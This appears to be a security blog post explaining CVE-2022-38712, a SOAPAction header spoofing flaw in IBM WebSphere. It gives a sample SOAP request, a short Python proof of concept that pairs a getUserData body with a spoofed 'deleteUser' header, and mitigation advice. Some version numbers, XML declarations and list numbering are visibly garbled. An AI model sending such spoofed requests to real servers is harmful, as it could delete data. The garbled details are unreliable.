CVE-2022-38712 is a significant vulnerability affecting IBM WebSphere Application Server (versions 7., 8., 8.5, and 9.). This flaw comes from how WebSphere handles SOAPAction headers in web service requests. Simply put, attackers who are in a position to monitor the network traffic (so-called Man-In-The-Middle or MITM) can sneakily replace what the client wants to do with something else—potentially allowing them to run unauthorized or even dangerous actions on your server.

In this article, I’ll break down what SOAPAction spoofing is, why it’s a problem, how this exploit works, and what you can do to protect your systems. If you’re responsible for running IBM WebSphere, you’ll want to read to the end.

Understanding the Vulnerability (In Simple Terms)

SOAP stands for “Simple Object Access Protocol.” Many web services—including those hosted on IBM WebSphere—use SOAP messages over HTTP to communicate. These requests often have a header named SOAPAction, which tells the server which function or operation should be carried out.

But in vulnerable WebSphere versions, the server trusts this header too much. If an attacker manages to alter the SOAPAction header while traffic is passing through (e.g., on a shared network or via a compromised router), they can trick the server into running different code than the client intended.

IBM has reserved X-Force ID: 234762 for this issue.  
Original advisory: IBM Security Bulletin for CVE-2022-38712

A typical SOAP request looks something like this (in HTTP)

POST /services/MyService HTTP/1.1
Host: example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:getUserData"
Content-Length: 345

<?xml version="1." encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/";
                  xmlns:urn="urn:myservice">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:getUserData>
         <urn:userId>12345</urn:userId>
      </urn:getUserData>
   </soapenv:Body>
</soapenv:Envelope>

In a spoofing attack, an MITM replaces the SOAPAction like this

SOAPAction: "urn:deleteUser"

If WebSphere is vulnerable, the server might now perform a deleteUser operation, even though the SOAP body still calls getUserData.

Exploit Scenario

1. Attacker controls or intercepts network traffic: This can be on public Wi-Fi, compromised routers, or internal “evil insider” situations.

Victim sends a SOAP request for a legitimate action, like querying user data.

3. Attacker intercepts and modifies the HTTP request, changing the SOAPAction header to an unauthorized function, e.g., deleteUser.
4. WebSphere processes the request as if it was the attacker’s chosen action, not the original one.

Proof of Concept (Python Example)

Here’s how an attacker can simulate such an attack with Python and requests (acting as a MITM proxy):

import requests

# Original target server
url = "http://vulnerable-websphere-server/services/MyService";

# SOAP request meant for getUserData
soap_body = '''<?xml version="1." encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/";
                  xmlns:urn="urn:myservice">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:getUserData>
         <urn:userId>12345</urn:userId>
      </urn:getUserData>
   </soapenv:Body>
</soapenv:Envelope>'''

# Attacker swaps out the header!
spoofed_headers = {
    'Content-Type': 'text/xml; charset=utf-8',
    'SOAPAction': '"urn:deleteUser"',  # Spoofed action!
}

response = requests.post(url, data=soap_body, headers=spoofed_headers)

print(response.text)

If the server doesn’t validate the SOAP body against the header (the core of CVE-2022-38712), it may try to execute deleteUser rather than getUserData, causing unintentional harm.

Why Did This Happen?

WebSphere’s default trust of the inbound SOAPAction header is the culprit. Proper implementations double-check that the header matches the SOAP body. If they’re mismatched, the request should either be rejected or processed as the SOAP body says, not blindly trust the header alone.

1. Update WebSphere

IBM released patches and updates to close this loophole.  
You can find instructions and version-specific details here:  
- IBM Security Bulletin CVE-2022-38712

2. Use Encrypted Communications

Always use HTTPS. Encryption severely hampers MITM attackers who rely on seeing and changing your traffic.

4. Validate Server-Side Logic

Developers: Check that your WebSphere configuration (or custom code) verifies that the SOAPAction matches what’s in the SOAP body. Reject requests where they don’t align.

References

- IBM Security Bulletin: Vulnerabilities in WebSphere Application Server
- NVD Entry CVE-2022-38712
- IBM X-Force Exchange: CVE-2022-38712

Conclusion

CVE-2022-38712 shows how dangerous a simple header in a SOAP message can become if the underlying server is too trusting. If you manage IBM WebSphere installations, you need to patch now, check your configurations, and always use encryption.

Stay safe—and don’t let someone else’s fake SOAPAction become your real headache.

*Written exclusively for your security insights. For more details or help patching, check the official IBM security bulletin linked above.*

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/04/2022 15:16:00 UTC